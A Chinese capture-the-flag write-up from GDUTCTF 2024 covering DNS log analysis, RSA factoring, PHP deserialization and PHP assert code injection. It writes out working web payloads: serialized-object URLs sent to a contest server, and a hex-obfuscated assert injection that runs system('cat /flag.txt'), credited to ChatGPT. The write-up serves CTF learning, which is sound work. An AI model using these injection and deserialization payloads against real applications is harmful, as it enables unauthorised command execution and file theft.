2024年 GDUTCTF 个人WriteUp
日志分析
近日xxa集团的某终端遭到DNS劫持的恶意攻击,导致大量的服务器、应用、个人终端都无法正常的访问,请找出被劫持的服务器IP
打开后在Wireshark里面过滤器填写dns
,过滤所有的DNS请求
然后随便拉一下就发现,有对外网DNS服务器进行查询的操作,这个IP是61.7.12.5
,所以答案为flag{61.7.12.5}
RSA
yafu
题目说了用yafu,咱就上yafu呗
1 | > .\yafu-x64.exe "factor(5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021)" |
得到了因数55307187311
和103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611
,再写RSA解密脚本
1 | from sympy import mod_inverse |
结果
1 | PS C:\Users\HelloCTF_OS\Desktop\GDUTCTF> python .\RSA\dec.py |
serialize
上来给了PHP代码
1 |
|
搜到原题:2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)_justsoso ctf-CSDN博客
构造payload
1 | http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D |
发现没有回显,于是尝试访问flag.txt
,就出来了
1 | http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag.txt%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D |
ezrce
上来给了源码
1 |
|
好,知识盲区,没做过带assert的,去质问ChatGPT o1,告诉我是assert截断类题目;我告诉它需要读取flag.txt
(因为上面那个序列化是flag.txt),然后给了我payload
1 | data=hello')%20or%20print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));// |
让GPT来给我解释吧(躺平)
URL 解码后的 Payload
首先,将 URL 编码的部分 %20
(代表空格)进行解码,完整的 data
参数值如下:
1 | data=hello') or print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));// |
Payload 结构解析
该 Payload 利用 PHP 的 assert
函数进行代码注入,以执行系统命令 cat /flag.txt
,从而读取 flag.txt
文件的内容。以下是对 Payload 各部分的详细解释:
hello')
1 | hello') |
作用:这部分结束了
strpos
函数的第一个参数字符串。原始 PHP 代码中的assert
调用如下:1
assert("strpos('$data', 'data') === true");
当
$data
被替换为hello') or print(assert("..."));//
时,整个assert
语句变为:1
assert("strpos('hello') or print(assert("..."));//', 'data') === true");
这里,
hello')
关闭了strpos
的第一个参数字符串,使得后续的or print(assert("..."));//
成为新的 PHP 代码执行部分。
or print(assert("..."));//
1 | or print(assert("..."));// |
作用
:
- **
or
**:逻辑操作符。如果左侧表达式为false
,则执行右侧表达式。 - **
print(assert("..."))
**:执行assert
函数,并将其返回值打印出来。 - **
//
**:注释符,用于注释掉后续的代码,防止语法错误。
- **
"\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"
1 | "\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')" |
作用:使用十六进制转义序列表示字符串,以绕过正则表达式过滤。具体解析如下:
- **
\x73\x79\x73\x74\x65\x6D
**:对应 ASCII 字符串system
- **
\x63\x61\x74
**:对应 ASCII 字符串cat
- **
\x20
**:对应空格`` - **
\x2F
**:对应/
- **
\x66\x6C\x61\x67
**:对应flag
- **
\x2E
**:对应.
- **
\x74\x78\x74
**:对应txt
- **
解码后的字符串:
1
system('cat /flag.txt')
完整的注入后的 assert
代码
将上述部分组合起来,注入后的 assert
调用如下:
1 | assert("strpos('hello') or print(assert("system('cat /flag.txt')"));//', 'data') === true"); |
执行流程分析
- **
strpos('hello')
**:strpos
函数通常需要至少两个参数(需要查找的字符串和查找的子字符串)。在这里,只有一个参数'hello'
,这会导致 PHP 报告一个警告或错误,因为参数不足。
- **
or print(assert("system('cat /flag.txt')"))
**:- 由于
strpos('hello')
的返回值为false
(因为查找失败或参数错误),逻辑操作符or
会执行右侧的表达式。 print(assert("system('cat /flag.txt')"))
会执行system('cat /flag.txt')
,试图读取/flag.txt
文件的内容,并将其输出。
- 由于
- **
//
**:- 注释掉后续的代码,防止语法错误或干扰注入效果。
然后丢进去就出来了